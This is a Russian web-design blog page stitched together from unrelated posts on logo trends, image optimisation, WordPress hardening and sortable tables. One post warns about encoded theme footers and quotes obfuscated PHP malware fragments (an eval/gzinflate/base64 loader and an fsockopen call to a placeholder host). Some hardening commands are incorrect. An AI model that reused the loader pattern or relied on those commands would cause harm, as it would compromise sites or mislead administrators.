Психоделические фоны. Изображения мощные и яркие цветные.

Оригами логотипы

Тактильные логотипы. То, что можно потрогать.

Текстура и качество должны преодолеть ощущение прикосновения.

Арабески логотипы.

Арабская каллиграфия может показаться достаточно простой. Вы получаете удивительно современный объект с массовым призывом.

Классический Модернизм.

Пиктограммы.

Геометрические логотипы.

Эпоха 1980-х – геометрических логотипов возвращается.

Типографские логотипы.

Профессиональный дизайнер создает шрифт для лого с нуля.

Уличные логотипы. Стрит арт

Модные надписи балончиками с красками нашли свое отражение в некоторых логотипах

Логотипы головоломки.

Пазл также может стать интересным решением для лого компании.

По информации http://www.logoorange.com/logo-design-09.php

eval(gzinflate(base64_decode(’FZrHErPasYVfxTMfFwNyqmv7FDnnJJi4iCKLnJ7+8msmBq

Но бывает, что в футер таким образом подгружают реальный исполняемый код.

После декодирования (функция, base64_decode), текст может уже выглядеть более подозрительно

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen(”www.domen.com”, 80

Внедряя ява-скрипт на страницу, злоумышленники могут крутить рекламу, а самое неприятное – получить информацию, сохраненную в браузере.

Этот пост написан для того, чтобы вы призадумались перед установкой очередного шаблона. Я не против защиты авторских прав.

Так как же расшифровать кодированные темы wordpress?

1. Существуют онлайн php декодеры base64

http://www.3dmobility.com/decrypt2.php

http://www.motobit.com/util/base64-decoder-encoder.asp

Копируете нужны кусок из footer.php или другого файла и вставляете в окно. Нажимаете кнопку decode и анализируете php скрипт.

2. Открываем footer.php в Notepad++. Перед кодом вставляем <!– begin –>, после кода — <!– end –>.
Сохраняем изменения, заходим на свой блог и смотрим исходный код в браузере (CTRL+U).
Находим свои <!– begin –> и <!– end –>. Всё, что расположено между ними — добавляем в свой футер вместо зашифрованного кода. И удаляем ненужные ссылки с footer.

Не будем останавливаться на операциях по коррекции уровней, балансу цветов, насыщенности и кадрированию. Перейдем к параметрам, влияющим на степень возможного сжатия изображения.

Разрешение (Resolution) задаем стандартное для Web – 72ppi, пропорции сохраняем (Constrain Proportions). Размер изображения в пикселях желательно задать минимально необходимый. Ориентироваться следует на самое распространенное разрешение экрана, которое в настоящее время составляет 1280х1024 (1280х800 для широкого экрана).

При любом изменении размеров (кроме обрезки – Crop) главное - не менять общее количество пикселей в изображении. Потому как ухудшается четкость картинки, создаются дополнительные контурные искажения, что приводит к неоднозначности картинки на экране монитора. Рассмотрите любой из скриншотов, помещенных на этой странице, при разных масштабах показа в браузере. Поэтому все операции с резкостью выполняются только при 100% масштабе.

Требования оптимизации для форматов JPEG, GIF и PNG отличаются, что связано с разными алгоритмами сжатия.

Оптимизация изображений в формате JPEG и PNG-24

Обрабатываем фильтрами повышения резкости.

Фильтр Unsharp Mask с параметрами: Amount=100%, Radius=0.2 pixels, Treshold=0 levels, повторив последовательно его действие от трех до пяти раз.

Затем применяем фильтр размытия Despeckle (Filter – Noise – Despeckle). Обычно достаточно уменьшить размытие примерно до 50%, добиваясь сохранения мелких деталей при минимальной контурной резкости.

Шумы убираем фильтром Reduce Noise (Filter – Noise – Reduce Noise).

Фильтрам можно назначить ярлыки в меню и быстрый вызов. Edit – Keybord Shortcuts and Menus – Filter – Noise и Sharpen

Переходим к сжатию изображения, выбрав File – Save for Web (Файл – Сохранить для Web) или Ctrl+Shift+Alt+S. Устанавливаем режим просмотра одновременно двух изображений, нажав 2-Up.

Под сжатым изображением показаны основные его характеристики: размер и время загрузки в браузере при определенной скорости интернет – соединения. Для выбора скорости кликните правой кнопкой мыши по изображению.

В правом углу расположены основные регулировки сжатия. Щелкнув по стрелке в окне Quality (Качество), выводим шкалу и ползунком регулируем степень сжатия, контролируя качество.

Оптимизация изображений в формате GIF и PNG8

Для графических изображений с небольшим количеством цветов, большими однотонными участками и текстом, например, диаграммы, таблицы, лучше применять сжатие в форматах GIF и PNG8.

PNG-8 обычно дает лучшие результаты, чем GIF. Для выбора формата используем выпадающее меню окна Preset

Для регулировок доступны следующие параметры: размытие (Dither), прозрачность (Transparency) и количество воспроизводимых цветов (Colors). Уменьшайте количество цветов.

Поэкспериментируйте с алгоритмом сжатия. Обычно наилучший результат при минимальном объеме дает выбор Selective.

Сглаживание позволяет имитировать недостающие цвета несколькими соседними пикселями. Обычно используется режим Diffusion, а для градиентов – Noise.

Конкретное значение размытия устанавливаем в окне Dither с помощью выпадающей шкалы.

В формате GIF есть функция Lossy (Понижение качества), которая позволяет при небольших значениях уменьшить размер сжатого файла. При регулировке надо внимательно следить за качеством, которое быстро ухудшается при значениях Lossy выше 20%.

Форматы GIF и PNG позволяют сохранять прозрачность. Это позволяет наложить изображение на фон страницы.

При снятии скриншотов для размещения в интернете необходимо получить качественное изображение при минимальном объеме. В этой статье мы рассмотрим программы для снятия скриншотов и способы сжатия картинок.

Частый вопрос: как сделать скриншот игры, экрана, видео?

На клавиатуре есть кнопка PrintScreen, которая копирует изображение экрана в буфер обмена.
ALT+PRNT_SCR копирует только активное окно.

Существуют специальные программы скриншоты.
Бесплатная Screen Hunter 5.1 Free. Прямая ссылка на скачивание здесь
Платная SnagIt. Здесь можно качнуть прогу+русификатор+serial

Для снятия скриншота видео в плеерах обычно имеется специальная функция.

Остановимся более подробно на сжатии скриншота и подготовки его для web.

Веб-мастера обычно сжимают скриншоты в формате JPEG, что завышает объем файла в несколько раз по сравнению с форматами GIF и PNG-8. Причина этого в особенностях программ снятия скриншотов. Если снимок экрана сразу сжимается в JPEG, то дальнейшая его оптимизация для Web в других форматах будет неэффективна и не даст уменьшения размера в приемлемом качестве.

Приведем пример:

Мы сделали скриншот окна в фотошоп. Изображение его на рисунке ниже. Сохранили в формате BMP под именем imagesize1.bmp, в формате JPEG – imagesize5.jpg, в формате GIF – imagesize6.gif

Далее в фотошопе с помощью команды Save for Web сжали его в форматы таким образом, чтобы синяя полоса окна оставалась в таком же качестве:
Из BMP – imagesize1.bmp -> в JPEG при Quality=60% – imagesize2.jpg
Из BMP – imagesize1.bmp -> в PNG8 – imagesize3.png
Из JPEG – imagesize2.jpg -> в PNG8 – imagesize4.png

Размеры полученных файлов позволяют сделать следующий вывод: исходники изображений для дальнейшей оптимизации должны быть в несжатом формате BMP, TIFF (со сканера например), PSD.

В этой статье мы кратко обсудим популярные GIF и JPEG форматы, а затем перейдем к PNG и развеем некоторые неверные представления о нем.

Формат GIF (Graphics Interchange Format). Большинство цветных изображений и фонов в Сети являются файлами в формате GIF. Этот компактный формат славится малым размером файлов изображений. Изображения в формате JPEG содержат миллионы цветов, а изображения в формате GIF – не более 256.Кроме этого, формат GIF поддерживает анимацию.

GIF формат является палитрой (также называемый “индексной”). Он содержит палитру индексных цветов, до 256, и для каждого пиксела изображения имеется соответствующий индекс цвета.
При изменении изображения и сохранении его в формате GIF, вы не потеряете качества.

GIF также поддерживает анимацию, которая, во времена Web 1.0, в виде многочисленных мигающих изображений, вращающихся знаков, раздражала многих. В гораздо более цивилизованную эпоху Web 2.0, мы до сих пор видим анимированную “Загрузка…”, пока ждем результатов следующего запроса на обновление страницы.
GIF также поддерживает прозрачность, которая является своего рода булевым типом прозрачности. Пиксель в рисунке либо полностью прозрачный, либо полностью непрозрачный.

Формат JPEG (Joint Photographic Experts Group). JPEG не имеет ограничение в 256 цветов. И может содержать миллионы цветов, обладает большим сжатием. Это делает его пригодным для фотографий, и, по сути, большинство цифровых камер в формате JPEG.

Это формат с потерями, то есть вы потеряете качество с каждым редактированием, так что лучше всего хранить промежуточные результаты в другом формате, если вы планируете множество исправлений. Существуют, однако, некоторые операции, которые могут быть выполнены без потери качества. Такие, как обрезка части изображения, повороты или изменение мета-информации, такие как комментарии, хранящиеся в файле изображения.

JPEG не поддерживает прозрачность.

При оптимизации изображений в данном формате для получения оптимальных результатов степень сжатия нужно выставлять 50%. JPEG сжимает графику фотографического качества и глубины цвета лучше конкурирующих форматов, таких как GIF, и сохраняет в большой степени точность соответствия цветов.

Формат PNG (Portable Network Graphics). Данный формат был создан специально для Интернета с целью вытеснения формата GIF. Основное преимущество формата PNG – поддержка 24-битных цветов и прозрачности.

PNG не является форматом с потерями качества, представляется в нескольких видах, но и для практических целей используется лишь в двух видах:
1. PNG8 и
2. полноцветный PNG24.

PNG8, как и GIF, является палитрой изображения. Термины “PNG8″, “Палитра PNG” и “индексный PNG” используются как взаимозаменяемые.

PNG8 по сравнению с GIF:
Плюсы:
- как правило, дает меньший размер файла;
- поддерживает переменную прозрачность;
Минус:
- нет поддержки анимации;

Второй тип PNG, полноцветный PNG, может содержать миллионы цветов, как и JPEG. Кроме того, можно иногда встретить названия PNG24 или PNG32.

Формат PNG-24 соединяет в себе черты JPEG и GIF: поддерживает 24-битный цвет, сохраняет прозрачность и хорошо передает полутона. Размер изображений обычно больше, чем в JPEG. Это делает полноцветный PNG формат идеальным в тех случаях, когда размер файла не имеет значения, например, для скриншотов мануала или некоторых печатных материалов.

Давайте подведем итог, отметив, что:

- JPEG является лучшим форматом для фотографий.
- GIF является лучшим форматом для анимации.
- PNG8 – формат, для всего остального – иконки, кнопки, фоны, графики.

Плагин URL редирект/сокращенная линка . Очень удобен для сокращения урлов партнерских программ.

== Описание ==

Плагин предназначен для перенаправления заданных ссылок и представления их в удобном формате.
Например:
Ссылку http://blogun.ru/stocksddaiff.html с помощью плагина можно будет представить просто в виде http://blogwm.ru/go/blogun/

Скачать русскую версию плагина можно здесь.

== Установка ==

1. Закачайте папку gocodes на FTP сервер в директорию (/wp-content/plugins/).

2. Поместите следующий код в .htaccess файл, после кода “# BEGIN WordPress”:

RewriteEngine On
RewriteRule ^go/([a-zA-Z0-9._-]*)/?$ /index.php?gocode=$1 [L,R]

Этот пример, если ваш блог является корневым.
Если ваш блог расположен в папке сайта, например, вашдомен.ru/blog/, просто замените “/index.php” на “/blog/index.php” в указанном выше коде.

3. Активируйте плагин в разделе “Плагины”.

4. Перейдите в раздел управление. Выберите раздел GoCodes и заполните необходимые перенаправления URL.
Стоит заметить

Удачи.

Постовой

Домен с тИЦ. Тема или трата денег?

Cамые интересные стартапы и интернет проекты, социальные сети – на Andrey2.ru!

Полезные плагины Firefox 3.

«Умные» спаммеры. Скрытый спам.

1. Удаление информации о версии WordPress

Скрыть версию движка wordpress можно вручную. Удалите из header.php,sidebar.php и footer.php, также из RSS фида в папке /wp-includes/ строчку

<meta name=”generator” content=”WordPress 2.5″ />

Либо просто измените название CMS

<meta name=”generator” content=”Joomla” />

или версию движка в папке /wp-icludes/ в файле version.php

Можно поступить еще проще. Скачать плагин для удаления версии движка wordpress – Replace WP-Version

2. Ограничение доступа к директориям wp-content и wp-includes

Запрещаем в этих директориях доступ к любым файлам, кроме изображений, файлов JavaScript и CSS. Для этого в данных директориях создаем файл .htaccess со следующим содержимым:

Order Allow,Deny
Deny from all
<Files ~ “.(css|jpe?g|png|gif|js)$”>
Allow from all
</Files>

Кроме того нужно запретить просмотр файлов в директориях. Для этого можно разместить пустой index.htm в каждой папке. Но есть способ проще. В корневой папке сайта в файле .htaccess добавляем строку

Options All -Indexes

Начиная с wordpress 2.6 можно изменить путь к папке wp-content.
Для этого в файл wp-config.php нужно добавить строку следующего содержания:

define(’WP_CONTENT_DIR’, ‘http://3pu.info/secret/wp-content’);

3. Ограничение доступа к директории wp-admin.

В этой папке находятся скрипты для управления Вашим блогом, поэтому обязательно ограничьте эту директории от посторонних.

Для этого генерируем файл .htpasswd, например с помощью Htpasswd generator, такого вида:

htpasswd -mbc .htpasswd USER PASSWORD

,где USER – имя пользователя, а PASSWORD – его пароль. Полученный файл кладем в папку wp-admin вместе с .htaccess со следующими инструкциями:

AuthUserFile /путь от корневого каталога/.htpasswd
AuthType Basic
AuthName “Access_Control”
Require valid-user

Оптимальное решение – это плагин AskApache Password Protect, делающий это автоматически.

Через .htaccess можно разрешить доступ к админке с определенного IP. Для этого добавляем следующий код для .htaccess в основной директории:

Order Allow,Deny
Allow from 0.0.0.0

И для .htaccess в папке wp-admin:

Order Allow,Deny
Allow from 0.0.0.0

Где 0.0.0.0 – это ваш IP-адрес. Если он у вас динамический и постоянно меняется, то пишем 0.0.0 без точки в конце.

4. Изменение префикса таблиц в базе данных WordPress

По умолчанию префикс WordPress таблиц – wp_, то есть все таблицы в базе данных начинаются с этих символов. Большинство ботов, использующих SQL-инъекцию (SQL-Injections), применяют стандартные имена таблиц. Изменив их префикс, мы снизим риски ориентированных SQL атак.
До установки WordPress необходимо отредактировать файл wp_config.php. Находим строку:

$table_prefix = ‘wp_’;

и заменяем ,допустим, на:

$table_prefix = ‘mywp_’;

Если WordPress уже установлен, то делаем следующее.
Переименовываем вручную все существующие в базе WordPress таблицы, выполнив несколько несложных SQL запросов:

RENAME TABLE wp_posts TO myprefix_posts;

И так для каждой таблицы. Имена и количество таблиц зависят от установленной версии WordPress.

5. Переименование имени администратора по умолчанию

По умолчанию учетная запись администратора в WordPress имеет логин admin.
Поменять логин можно с помощью sql-запроса к базе данных:

UPDATE wp_users SET user_login=’admin’, user_login=’mylogin’;

Таким образом мы изменим логин на mylogin. Это обеспечит безопасность при попытке брутфорса учетной записи.

6. Отключение сообщений об ошибках

Сообщения об ошибках могут содержать очень много полезной информации не только для вас, но и для злоумышленника. Для отключения сообщений об ошибках можно использовать скрипт. Забираем отсюда.

Постовой

- Оскар 2009 – Красный ковер.

- Качаем мини игры бесплатно!

- “Продвинем вместе” (более 300 чит.) меняется постовыми.

- мониторинг сайтов Ежамоном.

- Для чего нужны пузомерки?

1. Эффект прошитого текста

2. Светящийся текстовый эффект

3. Текст напыленный краской (спрей)

4. Эффект текста с блеском золота

5. Текст с эффектом “сыра”

6. Урок по созданию водяного текста

7. Эффект – текст с цепью

8. Светящийся текст в несколько слоев

9. Текст в стиле АД

10. Светящийся хромированный текстовый эффект

11. Эффект золотого текста

12. Цветной хромированный текст

13. Декоративный текст

14. 3D текст

15. Текстовый эффект в стиле ретро

16. Эффект сканированного текста

17. Текст с эффектом светящегося неона

18. Создание логотипа SKY

19. Эффект графити текста

20. Эффект текста в шоколаде

21. Текстовый эффект в стиле pop

22. Надпись Wanted на куске дерева

23. Текст из мульта Bee Movie

24. Эффект текста из травы

25. Эффект жидкого отражающегося текста

26. Текст с эффектом гладкого стекла

27. Эффект текста с огнем

28. Эффект текста в брилиантах

29. Сверхъестественный Эффект

30. 3D типография

31. Эффект текста с накалом

32. Эффект текста штампом

33. Старая школа

Постовой
Простая техника позиционирования изображения при обтекании текстом

Скачать пример (вместе с sorttable.js)

Это руководство объясняет, как использовать его в своих проектах:

Шаг 1: вставляем sorttable.js

Создаем новую страницу и вставляем тег со ссылкой на sorttable.js

<script src=”sorttable.js” type=”text/javascript”></script>

Шаг 2: HTML код для дизайна сортируемой таблицы

Создать новую таблицу и добавляем для нее класс “sorttable”.

<style type=”text/css”>
body{font-family:”Lucida Sans Unicode”, “Lucida Grande”, Verdana, Arial, Helvetica, sans-serif; font-size:12px; color:#555555;}
div.main{margin:30px auto; width:600px;}
table.sortable{border:0; padding:0; margin:0;}
table.sortable td{padding:4px; width:120px; border-bottom:solid 1px #DEDEDE;}
table.sortable th{padding:4px;}
table.sortable thead{background:#e3edef; color:#333333; text-align:left;}
table.sortable tfoot{font-weight:bold; }
table.sortable tfoot td{border:none;}
</style>

<table class=”sortable”> … </table>

Если на одной страницы у Вас более чем одна таблица, Вы можете применить этот класс для всех таблиц, которые хотите сортировать. Общая структура для каждой таблицы которую нужно упорядочить содержит (заголовок таблицы), (таблица тела) и

<table class=”sortable”>
<!– Table Header –>
<thead>
<tr>
<th>Company</th>
<th>Ticker</th>
</tr>
</thead>

<!– Table body–>
<tbody>
<tr>
<td>Apple Inc</td>
<td>AAPL</td>
</tr>

<tr>
<td>GoogleInc</td>
<td>GOOG</td>
</tr>
</tbody>

<!– Table footer–>
<tfoot>
<tr>
<td>Total</td>
<td> 00.00</td>
</tr>
</tfoot>
</table>

При нажатии на заголовок (в данном примере “Company” или “Ticker”) все строки в
будет отсортированы в возрастающем или убывающем порядке.

Шаг 3: Заполнить таблицу в ряд данными с использованием PHP

Вы можете заполнить таблицу некоторыми данными с использованием одного из языков, таких, как PHP, Coldfusion, ASP или аналогичные. Если вы используете PHP вы можете использовать этот простой код:

<?php
// Include connection to your database
include(’dbconnection.php’);
$getCompany_sql = ‘SELECT * FROM COMPANY’;
$getCompany= mysql_query($getCompany_sql);?>

<table class=”sortable”>
<!– Table Header –>
<thead>
<tr>
<th>Company</th>
<th>Ticker</th>
</tr>
</thead>

<!– Table body–>
<tbody>
<?php while ($row = mysql_fetch_array($getCompany)) {?>
<tr>
<th><?php echo $row.['companyName'] ?></th>
<th><?php echo $row.['companyTicker'] ?></th>
</tr>
<?php } ?>
</tbody>

<!– Table footer–>
<tfoot>
<tr>
<td> … </td>
<td>…. </td>
</tr>
</tfoot>
</table>

Ben Hulse Design
Портфолио дизайнера и фотографа

Brand Spanking New
Трехколоночный блог с видом, акцентирующем внимание на контенте.

Jan Reichle
Домашная страница режиссера и кинематографа в черно-белых тонах.

John Merrells
Блог предпринимателя в простом виде с изображением заголовка.

Kind Company
Компания занимающаяся дизайном и печатью.

None-Design Media
Портфолио-сайт, который использует черный фон.

Rainfall Daffinson
Дизайн веб-сайта фирмы, которая использует минималистский стиль для своих работ.

Rikcat Industries
Портфолио в черно-белом виде.

Wan Zafran
Персональный сайт, который использует минимальное количество цветов.

SayHej!
Темный минималистичный веб-дизайн.

Maqina
Студия визуальных коммуникаций и бренда личности.

Finch
Этот графический дизайнер совмещает особенности компоновки и приятное сочетание цветов.

CSS Globe
Недавно изменен, это сообщество для веб-дизайнеров использует простой, эффективный веб дизайн.

Chama Inc.
Португальская веб-студия, которая использует очень мало цветов в минималистском дизайне.

Monoroot
Темный фон для дизайнера

Gedankenberg
Минималистский дизайн, который использует только несколько разных цветов.

Concentric Studio

DS.Emotion

Vitor Lourenco

Poccuo

International Orange

Art Working

Surfstation

Kyan

Wevio

DevWP

Постовой
Автоматический приём платежей на сайте.
Где найти бесплатные красивые шрифты?